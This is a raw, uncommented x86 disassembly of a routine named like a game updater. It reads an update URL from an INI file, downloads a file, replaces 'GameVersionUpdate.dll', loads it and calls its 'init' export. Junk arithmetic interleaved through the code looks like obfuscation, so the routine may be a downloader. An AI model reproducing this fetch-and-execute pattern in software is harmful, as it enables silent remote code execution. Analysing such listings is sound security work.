mov dword [0x43e2bc], edx
call fcn.00417dce
push eax
lea eax, [ebp - 0x114]
push 0x433088
push eax
call fcn.00416ca1
add esp, 0x10
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x114]
push edx
push str.LastUpdateTime2
push 0x4334dc
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov esi, dword [0x43e2bc]
mov edi, dword [0x43e2c8]
mov ecx, dword [0x43e2c0]
imul esi, esi, 0x753dc2
imul edi, edi, 0x754f74
imul ecx, ecx, 0x946b47
mov eax, 0x6445fc6d
imul dword [0x43e2c4]
sar edx, 0x14
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
add eax, edi
add eax, esi
mov ecx, eax
mov eax, 0x321c7f55
imul dword [0x43e2d0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [ebp + 8], ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp + 8]
sub edx, eax
mov dword [ebp + 8], edx
mov eax, 0x278a52fb
imul dword [0x43e2c0]
mov eax, dword [ebp + 8]
sar edx, 0x14
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, dword [0x43e2cc]
imul eax, eax, 0x3493ae
add esi, eax
mov eax, 0x51e0e37b
imul ecx
mov eax, dword [0x43e2d0]
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
xor ebx, ebx
sub esi, ecx
lea edx, [ebp - 0x214]
sub esi, eax
push ebx
push edx
mov dword [ebp - 0x938], ebx
mov dword [ebp - 0x934], ebx
mov dword [0x43e2dc], esi
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
je 0x409345
lea eax, [ebp - 0x214]
push eax
push 0x100
lea ecx, [ebp - 0x114]
push ecx
push 0x432d67
push str.VersionNO
push 0x4334dc
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x114]
push edx
call fcn.00417ed1
mov ecx, dword [0x43e2d4]
mov esi, dword [0x43e2cc]
mov dword [ebp - 0x930], eax
imul esi, esi, 0xa9e322
mov eax, 0x321c7f55
imul ecx
mov ecx, dword [0x43e2c0]
sar edx, 0x14
imul ecx, ecx, 0x643bbd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x43e2c8]
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x8d9c64
sub esi, eax
add esi, edx
mov edx, dword [0x43e2c4]
mov eax, 0x278a52fb
imul edx
mov eax, ecx
imul eax, eax, 0x450e38
sar edx, 0x14
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
sub edi, ecx
lea ecx, [ebp - 0x418]
lea eax, [edi + edx - 0x28d92c]
push str.C:Program_FilesNewGameUpdateGameVersionUpdate.dll
push ecx
mov dword [0x43e2c8], eax
call fcn.00416ca1
add esp, 0xc
lea edx, [ebp - 0x938]
push edx
lea eax, [ebp - 0x418]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x40a17c
mov ecx, dword [0x43e2c8]
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
mov edi, ecx
mov ecx, dword [0x43e2c4]
imul edi, edi, 0x28d92c
sar edx, 0x16
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [ebp + 8], eax
mov eax, 0x8ba9e88d
imul ecx
mov eax, dword [ebp + 8]
add edx, ecx
sar edx, 0x16
add eax, edx
mov edi, edx
mov edx, dword [0x43e2d0]
shr edi, 0x1f
add edi, eax
mov eax, 0x321c7f55
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x51bab243
imul ecx
imul ecx, ecx, 0x679728
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x302f8a
sub edi, eax
add edi, edx
lea eax, [edi + ecx + 0x2fa80f]
push esi
mov dword [0x43e2d8], eax
call fcn.004282d4
add esp, 4
mov edi, eax
push edi
push esi
push ebx
lea ecx, [ebp - 0x418]
push ecx
mov dword [ebp - 0x92c], edi
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x40a0ea
mov esi, dword [0x43e2c8]
mov edx, dword [0x43e2c0]
imul edx, edx, 0x754f74
mov edi, esi
imul edi, edi, 0x28d92c
add edi, edx
mov ecx, dword [0x43e2d8]
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x302f8a
mov edx, ecx
imul edx, edx, 0x643bbd
sub edi, edx
add edi, eax
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9bcf58cb
imul esi
add edx, esi
mov esi, dword [0x43e2cc]
sar edx, 0x15
add edi, edx
mov ebx, edx
mov eax, 0x76a10fbd
imul esi
imul esi, esi, 0x330379
shr ebx, 0x1f
sar edx, 0x15
add ebx, edi
mov edi, dword [str._r_____r____]
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x51e0e37b
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
xor eax, eax
mov dword [ebp - 0x924], eax
mov dword [ebp - 0x920], eax
sub ebx, esi
mov esi, dword [0x43e2d0]
sub ebx, 0x28d92c
mov eax, 0x6445fc6d
imul dword [0x43e2c0]
mov dword [0x43e2d4], ebx
sar edx, 0x14
mov ebx, esi
imul ebx, ebx, 0x946b47
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x43e2bc]
mov edx, edi
imul eax, eax, 0x753dc2
imul edx, edx, 0x754f74
sub ebx, edx
add ebx, eax
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
imul ecx, ecx, 0x3493ae
sub ebx, eax
mov eax, 0x65c6b7f9
imul esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul edi
sar edx, 0x14
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
add esi, ecx
mov ecx, dword [0x43e2c4]
mov edi, dword [ebp - 0x92c]
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x920]
push edx
lea eax, [ebp - 0x924]
push eax
sub esi, ecx
push 0x43304c
sub esi, 0x643bbd
push edi
mov dword [0x43e2c4], esi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x40a0e4
mov ecx, dword [ebp - 0x924]
mov bx, word [ecx + 0x14]
jmp 0x40a0ea
mov ebx, dword [ebp - 0x934]
mov esi, dword [0x43e2bc]
mov edx, dword [0x43e2d4]
imul esi, esi, 0x7565e
mov ecx, dword [0x43e2c4]
imul edx, edx, 0x51bcef
add esi, edx
mov eax, 0x321c7f55
imul ecx
mov ecx, dword [0x43e2cc]
sar edx, 0x14
imul ecx, ecx, 0x69275c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x1412258
add esi, edx
mov edx, dword [0x43e2d0]
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
sub esi, 0x3493ae
push edi
mov dword [0x43e2d0], esi
call fcn.004282d9
add esp, 4
mov esi, dword [0x43e2d8]
mov edx, dword [0x43e2bc]
imul esi, esi, 0x754f74
mov ecx, dword [0x43e2d4]
imul edx, edx, 0x74bc7
add esi, edx
mov eax, 0x321c7f55
imul ecx
mov ecx, dword [0x43e2d0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x43e2cc]
imul eax, eax, 0x69275c
mov edx, ecx
imul edx, edx, 0x643bbd
add esi, edx
add esi, eax
mov eax, 0x65c6b7f9
imul ecx
mov ecx, dword [0x43e2c8]
imul ecx, ecx, 0x679727
sar edx, 0x13
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
add edi, ecx
mov ecx, dword [0x43e2dc]
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x930]
movzx ecx, bx
sub edi, 0x643bbd
cmp ecx, eax
mov dword [0x43e2c0], edi
jl 0x40a239
lea edx, [ebp - 0x418]
push 0
push edx
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
jne 0x40a398
lea eax, [ebp - 0x214]
push eax
push 0x100
lea ecx, [ebp - 0x114]
push ecx
push 0x432d67
push str.VersionURL
push 0x4334dc
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a270
sub eax, edx
cmp eax, 5
jb 0x40a398
mov esi, dword [0x43e2bc]
mov ebx, dword [0x43e2d8]
mov ecx, dword [0x43e2c8]
imul ebx, ebx, 0x28d92c
mov eax, 0x6445fc6d
imul ecx, ecx, 0x754f74
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [0x43e2c0]
add ebx, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x3493ae
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, edi
imul edx, edx, 0x643bbd
mov eax, esi
imul esi, esi, 0x450e38
imul eax, eax, 0x302f8a
sub ebx, edx
mov edx, dword [str._r_____r____]
add ebx, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, edi
sub ebx, eax
add ecx, ebx
lea edx, [ebp - 0x314]
lea ecx, [esi + ecx + 0x450e38]
push str.C:Program_FilesNewGameUpdateGameVersionUpdate.temp
push edx
mov dword [0x43e2cc], ecx
call fcn.00416ca1
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
push 0
push 0
call fcn.00401a90
add esp, 0x1c
test eax, eax
je 0x40a382
lea edx, [ebp - 0x314]
push edx
lea eax, [ebp - 0x114]
push eax
push 0
push 0
push 0
call fcn.00401a90
add esp, 0x14
test eax, eax
jne 0x40a398
push 1
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x314]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov ecx, dword [0x43e2bc]
mov esi, dword [str._r_____r____]
mov edi, dword [0x43e2d8]
sub edi, esi
mov eax, ecx
imul edi, edi, 0x754f74
imul eax, eax, 0x28d92c
add edi, eax
mov esi, dword [0x43e2cc]
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x302f8a
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, esi
imul esi, esi, 0x3493ae
imul edx, edx, 0x643bbd
add edi, edx
add edi, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x65c6b7f9
imul ecx
mov ecx, dword [0x43e2d4]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
mov ebx, edx
add edi, edx
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
shr ebx, 0x1f
mov eax, edx
add ebx, edi
shr eax, 0x1f
add eax, edx
add ebx, esi
sub ebx, eax
lea edx, [ebp - 0x418]
lea ecx, [ebx + ecx - 0x643bbd]
push 0
push edx
mov dword [0x43e2bc], ecx
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
jne 0x40a460
push 0
call fcn.00417b0e
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
mov dword [ebp - 0x92c], esi
je 0x40a573
mov ecx, dword [0x43e2d4]
mov edi, dword [0x43e2cc]
mov eax, 0x321c7f55
imul edi, edi, 0xa9e322
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43e2c0]
imul edx, edx, 0x643bbd
sub edi, ecx
mov ecx, dword [0x43e2c8]
add edi, edx
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x8d9c64
sub edi, eax
add edi, edx
mov edx, dword [0x43e2c4]
mov eax, 0x278a52fb
imul edx
mov eax, ecx
imul eax, eax, 0x450e38
sar edx, 0x14
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
sub ebx, ecx
push str.init
lea eax, [ebx + edx - 0x28d92c]
push esi
mov dword [0x43e2c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40a556
mov dword [ebp - 4], 0
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x40a580
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x40a580
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
push esi
call fcn.00417dce
mov edx, dword [0x449310]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
sub eax, edx
add esp, 4
cmp eax, 0xc8
jge 0x40a5b0
mov ecx, 0xc8
sub ecx, eax
imul ecx, ecx, 0x3e8
push ecx
call ebx
push 3
push 0x43e2e0
push 0x413c
call fcn.004088e0
add esp, 0xc
test eax, eax
jne 0x40a633
mov edx, dword [0x4402c8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov dword [0x4468f8], 1
push 0
call fcn.004036b0
add esp, 4
jmp 0x40a5f0
push 0x3e8
call ebx
inc esi
mov eax, esi
cdq
mov ecx, 0x12c
idiv ecx
test edx, edx
jne 0x40a5f0
push 3
push 0x43e2e0
push 0x413c
call fcn.004088e0
add esp, 0xc
test eax, eax
jne 0x40a629
mov edx, dword [0x4402c8]
push edx
call edi
jmp 0x40a5e1
mov dword [0x4468f8], 0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00416fcd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret